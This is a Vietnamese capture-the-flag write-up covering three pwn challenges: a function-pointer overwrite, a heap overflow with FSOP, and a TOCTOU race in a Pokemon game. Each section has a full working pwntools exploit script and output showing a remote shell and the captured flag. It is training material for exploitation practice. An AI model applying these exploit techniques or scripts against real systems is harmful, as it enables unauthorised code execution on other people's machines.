Khá buồn vì trong quá khứ có người bảo mình nên thử những dạng bài TOCTOU nhưng mình chưa thử, nay đi thi gặp ngay câu cuối là dạng đó mặc dù dư khá nhiều thời gian cho câu cuối nhưng mình không biết cách xử lý :(( ## node_user (100 points) Chắc đây là câu warm up của đề vì nó chill và chỉ có 100 điểm ### Checksec cái nhẹ trước ![image](https://hackmd.io/_uploads/rk-YcOQXWe.png) ### Phân tích Là một chương trình tạo node lưu data và liên kết các node lại với nhau giống đồ thị, có khá nhiều thứ linh tinh khi tìm bug nhưng chỉ cần chú ý những điểm sau Thấy có con trỏ hàm trong struct ![image](https://hackmd.io/_uploads/ByW-qdQmbl.png) Có thêm hàm win ![image](https://hackmd.io/_uploads/BkxV5uXXbe.png) => Bài này chắc chắn là sửa con trỏ hàm để thành hàm win Đọc thêm một lúc thì mình thấy dòng này trong menu nhập data cho node ![image](https://hackmd.io/_uploads/SkHfidXXbl.png) Dòng này khá lạ hiểu đơn giản là nó cho ghi tiếp vào chỗ data đã ghi trước đó `read(0, tmp->data + strlen(tmp->data), 0x10);` Mình input thử một vài chữ A thì thấy con trỏ hàm ngay dưới có thêm `no pie` với bug phía trên, lượt sau mình đè con trỏ hàm và nó gọi luôn thế là chúng ta có flag ![image](https://hackmd.io/_uploads/rJ9k2OXQZl.png) <details> <summary>Solve Script</summary> ``` python from pwn import * remote_connection = "nc 103.75.186.106 1337".split() local_port = 5000 context.binary = ELF('./node_node_node') # context.terminal = ['tmux', 'splitw', '-h'] context.terminal = ['setsid', 'kitty', '-e'] # context.terminal = ['setsid', 'kitty', 'tmux', 'new-session'] localscript = f''' file {context.binary.path} ''' gdbscript = ''' ''' def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) elif args.LOCAL: return remote("localhost", local_port) else: return process([context.binary.path]) def GDB(): if args.LOCAL: gdbserver = process("docker exec -u root -i debug_container bash -c".split() + [f"gdbserver :9090 --attach $(pidof node_node_node) &"]) pid = gdb.attach(('localhost', 9090), exe=f'{context.binary.path}', gdbscript=localscript + gdbscript) pause() elif not args.REMOTE: gdb.attach(p, gdbscript=localscript + gdbscript) pause() def slog(name, addr): return log.success(f"{name.ljust(20)} : {hex(addr)}") win = 0x00000000004016ec # GDB() p = start() # create note p.sendlineafter(b">> ", b"1") p.sendlineafter(b"Id: ", b"1") p.sendlineafter(b">> ", b"3") p.sendlineafter(b'Read from: ', b'1') p.sendafter(b"Data: ", "AAAAAAAAAAAAAAA") p.sendlineafter(b">> ", b"3") p.sendlineafter(b'Read from: ', b'1') p.sendlineafter(b"Data: ", b'A' + p64(win)) p.interactive() ``` </details> <details> <summary>Kết Quả</summary> ``` bash > python solve.py LOCAL [*] '/home/lazyming/ctf/pwn/viettel_contest/node/public/node_node_node' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No [+] Opening connection to localhost on port 5000: Done [*] Switching to interactive mode VCS{test} ``` </details> ## pwn2 (300 points) Một chall heap có code khá đơn giản với lỗi heap overflow ### Checksec cái nhẹ trước ![image](https://hackmd.io/_uploads/SJlLNqXm-x.png) ### Phân tích và Khai thác Chúng ta có thể tạo tối đa 10 user với idx từ 0 - 9 mỗi user có các thông tin như sau: ![image](https://hackmd.io/_uploads/Bk-Jdc7XWx.png) Hàm custom read `có như không` nó chỉ làm công việc thay `\n` thành `\x00` nhưng không có `\n` thì chả khác gì read bình thường Có một con trỏ heap chứa thông tin `BIO filed` nằm dưới trường `address` luôn fill full trường address chúng ta chọn menu in thông user thì có heap leak luôn ``` python p = start() # leak heap phase p.sendlineafter(b'Choice: ', b'1') p.sendlineafter(b"Name: ", b"lazyming") #fill full address field p.sendafter(b"Address: ", b'B' * 0x40) p.sendafter(b"Bio: ", b'BBB') #print user p.sendlineafter(b'Choice: ', b'4') p.sendlineafter(b'Index: ', b'0') p.recvuntil(b"B" * 0x40) heap_leak = u64(p.recv(6).ljust(8, b'\x00')) slog("heap_leak", heap_leak) heap_base = heap_leak - 0x310 slog("heap_base", heap_base) ``` Result ``` bash [*] '/home/lazyming/ctf/pwn/viettel_contest/pwn2/pwn1/ld-2.39.so' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled [+] Starting local process '/home/lazyming/ctf/pwn/viettel_contest/pwn2/pwn1/chall_patched': pid 177458 [+] heap_leak : 0x558b5e2f0310 [+] heap_base : 0x558b5e2f0000 ``` Critical Bug: trong hàm chỉnh sửa thông tin bio của user có lỗi heap overflow nó mặc định luôn read `0x100 byte` vào bio => heap overflow => tcachepoison hoặc chỉnh sửa thông tin của user khác ![image](https://hackmd.io/_uploads/rytMnqXQZe.png) làm gì thì làm cũng phải leak `libc` trước kkk, mình tạo full 10 user có bio lớn hơn kích thước small bin rồi free để fill hết tcache phần còn thừa chúng ta sẽ có `unsorted bin` ở bước này mình tính toán trước bước sau, là cần một cái bio nhỏ và sát bên chunk thông tin user khác để overflow ghi đè con trỏ bio của user đó để có quyền `AAR AAW` Thế nên trong lượt tạo user thứ 3 mình cố tình thêm một chunk bio `0x20` sau đó free để lát cấp phát lại nó ở vị trí mong muốn của mình ``` Heap (low addr → high addr) ──────────────────────────────────────── [ FASTBIN ] size: 0x70 [ UNSORTEDBIN ] size: 0x90 <- unsorted bin chứa libc address [ FASTBIN ] size: 0x70 [ TCACHE ] size: 0x90 <- các bio cho mục đích tạo unsorted bin [ TCACHE ] size: 0x70 [ TCACHE ] size: 0x30 <- đặt chỗ trước cho bio lát sẽ ghi đè chunk user bên cạnh [ TCACHE ] size: 0x70 <- chunk user trong tcachebins lát malloc sẽ dùng lại [ TCACHE ] size: 0x90 [ TCACHE ] size: 0x70 [ TCACHE ] size: 0x90 ──────────────────────────────────────── ``` giờ thì mình tạo 2 user heap sẽ trông thế này ``` [ 0x60 | UNSORTED ] [ 0x70 | FASTBIN ] [ 0x90 | TCACHE ] [ 0x70 | ALLOCATED ] <- user 1 [ 0x30 | ALLOCATED ] <- bio của user 1 sẽ overflow user 2 [ 0x70 | ALLOCATED ] <- user 2 [ 0x90 | TCACHE ] [ 0x70 | TCACHE ] [ 0x90 | TCACHE ] ``` Oke sau đó cứ đè con trỏ bio của user 2 bằng fake address ta muốn thôi rồi chúng ta có quyền `aar aaw` -> leak libc sau đó mình `FSOP` chọn target `_IO_2_1_stdout_` hoặc leak stack qua `_environ` rồi `ROP` tùy khẩu vị của mỗi người =)) <details> <summary>Solve Script</summary> ``` python from pwn import * remote_connection = "nc 103.75.186.106 9002".split() local_port = 5000 exe = ELF("./chall_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-2.39.so") context.binary = exe # context.terminal = ['tmux', 'splitw', '-h'] # context.terminal = ['setsid', 'kitty', '-e'] context.terminal = ['setsid', 'kitty', 'tmux', 'new-session'] localscript = f''' file {context.binary.path} ''' gdbscript = ''' ''' def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) elif args.LOCAL: return remote("localhost", local_port) else: return process([context.binary.path]) def GDB(): if args.LOCAL: gdbserver = process("docker exec -u root -i debug_container bash -c".split() + [f"gdbserver :9090 --attach $(pidof chall) &"]) pid = gdb.attach(('localhost', 9090), exe=f'{context.binary.path}', gdbscript=localscript + gdbscript) pause() elif not args.REMOTE: gdb.attach(p, gdbscript=localscript + gdbscript) pause() def slog(name, addr): return log.success(f"{name.ljust(20)} : {hex(addr)}") # libc = ELF("./libc.so.6") p = start() # leak heap phase p.sendlineafter(b'Choice: ', b'1') p.sendlineafter(b"Name: ", b"lazyming") p.sendafter(b"Address: ", b'B' * 0x40) p.sendafter(b"Bio: ", b'BBB') p.sendlineafter(b'Choice: ', b'4') p.sendlineafter(b'Index: ', b'0') p.recvuntil(b"B" * 0x40) heap_leak = u64(p.recv(6).ljust(8, b'\x00')) slog("heap_leak", heap_leak) heap_base = heap_leak - 0x310 slog("heap_base", heap_base) p.sendlineafter(b'Choice: ', b'3') p.sendlineafter(b'Index: ', b'0') for i in range(10): p.sendlineafter(b'Choice: ', b'1') p.sendlineafter(b"Name: ", b"lazyming") p.sendafter(b"Address: ", b'B') p.sendafter(b"Bio: ", b'B' * 0x80) if i == 2: p.sendlineafter(b'Choice: ', b'1') p.sendlineafter(b"Name: ", b"lazyming") p.sendafter(b"Address: ", b'B') p.sendafter(b"Bio: ", b'B' * 0x20) p.sendlineafter(b'Choice: ', b'3') p.sendlineafter(b'Index: ', str(i).encode()) for i in range(10): p.sendlineafter(b'Choice: ', b'3') p.sendlineafter(b'Index: ', str(10 - i).encode()) # idx 1 p.sendlineafter(b'Choice: ', b'1') p.sendlineafter(b"Name: ", b"lazyming") p.sendafter(b"Address: ", b'B') p.sendafter(b"Bio: ", b'D' * 0x20) # GDB() #idx 2 p.sendlineafter(b'Choice: ', b'1') p.sendlineafter(b"Name: ", b"lazyming") p.sendafter(b"Address: ", b'B') p.sendafter(b"Bio: ", b'C' * 0x20) leak_libc_offset = heap_base + 0x460 #edit bio idx 1 p.sendlineafter(b'Choice: ', b'2') p.sendlineafter(b'Index: ', b'1') payload = b"D" * 0x28 + p64(0x71) payload += b"D" * 0x60 payload += p64(leak_libc_offset) + p64(0x91) p.sendlineafter(b"New Bio: ", payload) p.sendlineafter(b'Choice: ', b'4') p.sendlineafter(b'Index: ', b'2') p.recvuntil(b"Bio: ") libc_leak = u64(p.recv(6).ljust(8, b'\x00')) slog("libc_leak", libc_leak) libc_base = libc_leak - 0x203b20 slog("libc_base", libc_base) libc.address = libc_base def build_fsop_stdout_235(fp_addr: int) -> bytes: fp = FileStructure(null=fp_addr + 0x68) fp.flags = 0x687320 fp._IO_read_ptr = 0 fp._IO_write_base = 0 fp._IO_write_ptr = 1 fp._wide_data = fp_addr - 0x10 payload = bytes(fp) payload = payload[:0xc8] + p64(libc.sym['system']) + p64(fp_addr + 0x60) payload += p64(libc.sym['_IO_wfile_jumps']) return payload FSOP = build_fsop_stdout_235(libc.sym['_IO_2_1_stdout_']) p.sendlineafter(b'Choice: ', b'2') p.sendlineafter(b'Index: ', b'1') payload = b"D" * 0x28 + p64(0x71) payload += b"D" * 0x60 payload += p64(libc.sym['_IO_2_1_stdout_']) + p64(0x91) p.sendlineafter(b"New Bio: ", payload) p.sendlineafter(b'Choice: ', b'2') p.sendlineafter(b'Index: ', b'2') # payload = b"D" * 0x28 + p64(0x71) # payload += b"D" * 0x60 # payload += p64(libc.sym['_IO_2_1_stdout_']) + p64(0x91) p.sendlineafter(b"New Bio: ", FSOP) p.interactive() ``` </details> <details> <summary>Kết Quả</summary> ``` bash > python solve.py REMOTE [*] '/home/lazyming/ctf/pwn/viettel_contest/pwn2/pwn1/chall_patched' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.' SHSTK: Enabled IBT: Enabled [*] '/home/lazyming/ctf/pwn/viettel_contest/pwn2/pwn1/libc.so.6' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes [*] '/home/lazyming/ctf/pwn/viettel_contest/pwn2/pwn1/ld-2.39.so' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled [+] Opening connection to 103.75.186.106 on port 9002: Done [+] heap_leak : 0x63fe97c40310 [+] heap_base : 0x63fe97c40000 [+] libc_leak : 0x7c6a75cf7b20 [+] libc_base : 0x7c6a75af4000 [*] Switching to interactive mode $ id uid=1001(ctf) gid=1001(ctf) groups=1001(ctf) $ cat flag cat: flag: No such file or directory $ ls chall flag.txt $ cat flag.txt FLAG{W3uMC5di9U65nVqVghg7EDv37F54PK27} ``` </details> ## Tổng kết mình vẫn tiếc câu TOCTOU cuối quá..., và lúc giải câu 2 ban đầu lời giải của mình không đẹp như vậy đâu, mình tcache poison rồi thấy nó rất rắc rối (có khá nhiều lý do ẩn bạn tự tay làm thì sẽ biết) may sao mình nghĩ mới chợt nhớ nó cho overflow rất nhiều nên ghi đè được con trỏ bio. Phải chi câu câu cuối là dạng khác thì hay biết mấy :D ## Pokemon (Up solve update at 25/12/2025, 18:13) giải lại cho biết hehe ### checksec cái nhẹ trước ![image](https://hackmd.io/_uploads/HJGUh997Zl.png) bài này full protection luôn ### Phân tích và khai thác Sau khi revesing thì rút ra được chương trình có 3 struct chính là ![image](https://hackmd.io/_uploads/H1t9-i5m-l.png) Chúng ta có mảng các con trỏ `pokemon *user_poke[5]` trỏ vào các data pokemon nằm trên heap và nó nằm phía trên cái con trỏ g_user -> chuyện gì sẽ xảy ra nếu chúng ta tạo ra pokemon thứ 6 ? `user_poke[6]` sẽ đè con trỏ g_user và con trỏ user trỏ vào pokemon, mọi thao tác trên user cũng sẽ thao tác lên user sẽ chuyển thành thao tác trên con pokemon thứ 6 đó Nhìn vào vùng bss các bạn dễ hình dung hơn chúng ta có 5 con poke và con trỏ user `Ash là tên mặc định của user` nếu tạo poke thứ 6 thì con trỏ user sẽ bị ghi đè ![image](https://hackmd.io/_uploads/Hk726Yj7Wl.png) Đây là phần xử lý mua pokemon trong hàm mua pokemon mình để đây để bạn đọc cái TOCTOU flow ở dưới cho dễ hiểu ```c // kiểm tra số pokemon bằng 5 thì không cho mua nữa if ( user_poke_number <= 4 ) { new_poke_chunk = malloc(0x50u); // copy poke data memcpy(new_poke_chunk, &g_pokemon_array[choice - 1], sizeof(Pokemon)); g_user_data->money -= 100; printf("Enter custom name for your new Pokemon: "); fflush(stdout); read(0, new_poke_chunk->nickname, 31u); new_poke_chunk->nickname[31] = 0; new_line_offset = strcspn(new_poke_chunk->nickname, "\n"); new_poke_chunk->nickname[new_line_offset] = 0; // tăng số lượng pokemon mà user đang có sau khi cài nickname bằng hàm read user_poke[user_poke_number++] = new_poke_chunk; update_user_level(); printf("Purchased %s!\n", new_poke_chunk->species); } else { puts("Your bag is full!"); } ``` Ở hàm sử dụng item trong phần xử lý sử dụng item số 3 ``` c if ( item_id == 3 ) { puts("Activating Auto Pokemon Finder..."); // tạo một biến int để lưu sleep_time cho hàm catch_pokemon sleep_time = malloc(4u); random_number = rand() % 256; if ( random_number <= 0 ) *sleep_time = 2; else *sleep_time = 0; pthread_create(&newthread, 0, catch_pokemon, sleep_time); pthread_detach(newthread); puts("Auto Finder activated! Searching in background..."); } ``` đây là xử lý của hàm catch_pokemon tác giả cài cắm chi tiết TOCTOU attack ở đây bằng việc thêm một cái sleep trông khá vô nghĩa nhưng để tăng tỷ lệ toctou attack thành công cao hơn -> nhưng mà dở cái phải rand() % 256 == 0 thì mới cho sleep 2s =)) ```c void *__fastcall catch_pokemon(unsigned int *sleep_time) { unsigned int random_pokemon; // [rsp+1Ch] [rbp-24h] Pokemon *new_chunk; // [rsp+28h] [rbp-18h] if ( *sleep_time > 0 ) sleep(*sleep_time); if ( user_poke_number <= 4 ) { random_pokemon = rand() % g_total_pokemon; new_chunk = malloc(0x50u); memcpy(new_chunk, &g_pokemon_array[random_pokemon], sizeof(Pokemon)); *&new_chunk->nickname[strlen(new_chunk->nickname)] = 0x29646C69572820LL; user_poke[user_poke_number++] = new_chunk; update_user_level(); } free(sleep_time); return 0; } ``` Nôm na phần này nó tương tự buy pokemon chỉ là bạn không được chọn con pokemon bạn muốn thôi Vậy cái flow của chương trình chạy thế nào thì chúng ta mua được 6 con pokemon ? Giả sử ta đang có 5 con pokemon <=> `user_poke == 4` - B1: dùng item số 3 và nếu may mắn thỏa điều kiện `rand() % 256 == 0` chúng ta sẽ có 2s trước khi nó kiểm tra điều kiện `(user_poke <= 4)` và tăng chỉ số pokemon lên - B2: chúng ta chọn option mua pokemon vì lúc này 2s chưa chạy xong nên điều kiện vẫn thỏa (TIME OF CHECK) nó sẽ bảo chúng ta nhập nickname cho con pokemon chúng ta mua, `nhưng chúng ta sẽ đợi ở hàm read này` vì nếu `chưa nhập nickname thì tổng số pokemon cũng sẽ không tăng lên` và cái B1 sẽ tiếp tục check điều kiện nó thấy vẫn thỏa và nó tạo pokemon mới sau khi nó chạy xong chúng ta nhập tên cho con pokemon đang mua thì chúng ta vẫn được 1 con pokemon nữa (TIME OF USE) vậy là chúng ta mua được 6 con pokemon để phục vụ mục đích ban đầu Để cho dễ thì mình patch lại chương trình bằng IDA như thế này để đỡ phải chơi 1/256 ... ![image](https://hackmd.io/_uploads/ryp6g_jQZx.png) Đây là đoạn code tạo 6 con pokemon ``` python #buy item poke finder p.sendlineafter(b"Choice: ", b'2') p.sendlineafter(b"Enter item number (0 to cancel): ", b'3') # buy pokemon for i in range(4): p.sendlineafter(b"Choice: ", b'1') p.sendlineafter(b"Enter number to buy (0 to cancel): ", b'1') p.sendlineafter(b"Enter custom name for your new Pokemon: ", b"A" * 31) # use poke finder p.sendlineafter(b"Choice: ", b'5') p.sendlineafter(b"Enter item number to use (0 to cancel): ", b'1') # buy another poke p.sendlineafter(b"Choice: ", b'1') p.sendlineafter(b"Enter number to buy (0 to cancel): ", b'1') # wait 3 sec sleep(3) p.sendlineafter(b"Enter custom name for your new Pokemon: ", b"A") GDB() p.sendlineafter(b"Choice: ", b'3') ``` Thành quả là user đã bị abuse thành pokemon ![image](https://hackmd.io/_uploads/HyTfe5jXWx.png) View info chúng ta sẽ có luôn `pie leak` do `ability_func` của poke nằm trên special quote của `user` ![image](https://hackmd.io/_uploads/BJF_xciXbl.png) từ user biến thành pokemon luôn =)) Giờ chúng ta có `pie leak` và khả năng thay đổi con trỏ ability function, mình phải kiếm thêm `libc leak` để `one_gadget` may thay trước lúc gọi `ability func` trên thanh ghi rdi còn xót lại địa chỉ libc, vậy chúng ta modify ability function thành got của puts `là ngon luôn` ![image](https://hackmd.io/_uploads/Hyf6m9oQZl.png) chúng ta có libc leak ![image](https://hackmd.io/_uploads/rJrLD5oXbg.png) Rồi ghi đè con trỏ ability thành one_gadget thôi may mắn là có một cái thỏa và chúng ta có shell ![image](https://hackmd.io/_uploads/H1wUj5jX-g.png) Việc mình patch lại không ảnh hưởng gì so với thực thế cứ ngồi chạy và đợi tỷ lệ 1/256 thành công là được, solve này chắc chắn vẫn hoạt động với challenge thật <details> <summary>Solve Script</summary> ``` python from pwn import * remote_connection = "nc host8.dreamhack.games 19742".split() local_port = 5000 exe = ELF("./pokemon-3c32fb036a87385b5caa4e3d1551788361ac296fbf3f24aec0fb92e3ce7ebbbf_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe # context.terminal = ['tmux', 'splitw', '-h'] # context.terminal = ['setsid', 'kitty', '-e'] context.terminal = ['setsid', 'kitty', 'tmux', 'new-session'] localscript = f''' file {context.binary.path} ''' gdbscript = ''' ''' def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) elif args.LOCAL: return remote("localhost", local_port) else: return process([context.binary.path]) def GDB(): if args.LOCAL: gdbserver = process("docker exec -u root -i debug_container bash -c".split() + [f"gdbserver :9090 --attach $(pidof chall) &"]) pid = gdb.attach(('localhost', 9090), exe=f'{context.binary.path}', gdbscript=localscript + gdbscript) pause() elif not args.REMOTE: gdb.attach(p, gdbscript=localscript + gdbscript) pause() def slog(name, addr): return log.success(f"{name.ljust(20)} : {hex(addr)}") libc = ELF("./libc.so.6") p = start() #buy item poke finder p.sendlineafter(b"Choice: ", b'2') p.sendlineafter(b"Enter item number (0 to cancel): ", b'3') # buy pokemon for i in range(4): p.sendlineafter(b"Choice: ", b'1') p.sendlineafter(b"Enter number to buy (0 to cancel): ", b'1') p.sendlineafter(b"Enter custom name for your new Pokemon: ", b"A" * 31) # use poke finder p.sendlineafter(b"Choice: ", b'5') p.sendlineafter(b"Enter item number to use (0 to cancel): ", b'1') # buy another poke p.sendlineafter(b"Choice: ", b'1') p.sendlineafter(b"Enter number to buy (0 to cancel): ", b'2') # wait 3 sec sleep(3) p.sendlineafter(b"Enter custom name for your new Pokemon: ", b"A") p.sendlineafter(b"Choice: ", b'3') p.recvuntil(b"Special Quote: ") pie_leak = u64(p.recvn(6).ljust(8, b'\x00')) slog("pie_leak", pie_leak) pie_base = pie_leak - 0x1443 slog("pie_base", pie_base) puts_plt = exe.plt['puts'] slog("puts_plt", puts_plt) p.sendlineafter(b"Choice: ", b'4') p.sendlineafter(b"Enter choice: ", b'2'), p.sendlineafter(b"Enter new special quote: ", p64(puts_plt + pie_base)) p.sendlineafter(b"Choice: ", b'3') p.recvuntil(b"HP: 78, ATK: 84\n") libc_leak = u64(p.recvn(6).ljust(8, b'\x00')) libc_base = libc_leak - 0x620d0 slog("libc_base", libc_base) slog("libc_leak", libc_leak) # GDB() # 0xebcf5 execve("/bin/sh", r10, rdx) # constraints: # address rbp-0x78 is writable # [r10] == NULL || r10 == NULL || r10 is a valid argv # [rdx] == NULL || rdx == NULL || rdx is a valid envp one_shot_one_killlllllllllll = 0xebcf5 p.sendlineafter(b"Choice: ", b'4') p.sendlineafter(b"Enter choice: ", b'2'), p.sendlineafter(b"Enter new special quote: ", p64(libc_base + one_shot_one_killlllllllllll)) p.sendlineafter(b"Choice: ", b'3') p.interactive() ``` </details> <details> <summary>Kết Quả</summary> ``` bash > python solve.py [*] '/home/lazyming/ctf/pwn/viettel_contest/pokemon/final-pokemon-player/pokemon-3c32fb036a87385b5caa4e3d1551788361ac296fbf3f24aec0fb92e3ce7ebbbf_patched' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.' SHSTK: Enabled IBT: Enabled [*] '/home/lazyming/ctf/pwn/viettel_contest/pokemon/final-pokemon-player/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes [*] '/home/lazyming/ctf/pwn/viettel_contest/pokemon/final-pokemon-player/ld-linux-x86-64.so.2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled [x] Starting local process '/home/lazyming/ctf/pwn/viettel_contest/pokemon/final-pokemon-player/pokemon-3c32fb036a87385b5caa4e3d1551788361ac296f[◐] Starting local process '/home/lazyming/ctf/pwn/viettel_contest/pokemon/final-pokemon-player/pokemon-3c32fb036a87385b5caa4e3d1551788361ac296f[+] 24aec0fb92e3ce7ebbbf_patched': pid 74255 [+] pie_leak : 0x55b009a45443 [+] pie_base : 0x55b009a44000 [+] puts_plt : 0x11e4 [+] libc_base : 0x7f470b800000 [+] libc_leak : 0x7f470b8620d0 [*] Switching to interactive mode === My Info === Trainer: Charizard Money: $78 Win Count: 84 Level: 6 (based on Pokemon count) Special Quote: \xf5\xbc\x8e\x0bG\x7f === My Pokemons (6/5) === 1. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Pikachu] HP: 35, ATK: 55 Pika Pika! 2. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Pikachu] HP: 35, ATK: 55 Pika Pika! 3. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Pikachu] HP: 35, ATK: 55 Pika Pika! 4. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Pikachu] HP: 35, ATK: 55 Pika Pika! 5. Bulbasaur (Wild) [Bulbasaur] HP: 45, ATK: 49 Bulba bulba! 6. [Charizard] HP: 78, ATK: 84 $ id uid=1000(lazyming) gid=1000(lazyming) groups=1000(lazyming),10(wheel),18(dialout),36(kvm),966(gns3),967(wireshark),969(docker),987(libvirt) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 $ cat flag LazyMing{i_should_know_TOCTOU_before_contest_:((}$ ``` </details>